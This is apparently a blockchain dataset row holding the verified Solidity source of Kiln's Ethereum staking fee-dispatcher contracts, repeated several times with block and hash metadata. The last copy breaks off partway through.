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1 | 19,495,887 |
4a934484a42e1d280145e16a97dd4333949974893901c69cb7840c9919c9f935
|
175a1560d9773e99ac6d335b008e0ddec0985e66d6761c016af9dd2e558a3598
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171b1879ac8f80d27b44b7ec156fc73b4604df60
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1e68238ce926dec62b3fbc99ab06eb1d85ce0270
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9c97c7b5344b1fd1b0c3f681f7625a3449a7f8fd
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363d3d373d3d3d363d73933fbfeb4ed1f111d12a39c2ab48657e6fc875c65af43d82803e903d91602b57fd5bf3
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
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}}
|
1 | 19,495,887 |
4a934484a42e1d280145e16a97dd4333949974893901c69cb7840c9919c9f935
|
175a1560d9773e99ac6d335b008e0ddec0985e66d6761c016af9dd2e558a3598
|
171b1879ac8f80d27b44b7ec156fc73b4604df60
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|
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|
363d3d373d3d3d363d73933fbfeb4ed1f111d12a39c2ab48657e6fc875c65af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
},
"settings": {
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"runs": 200
},
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|
1 | 19,495,887 |
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
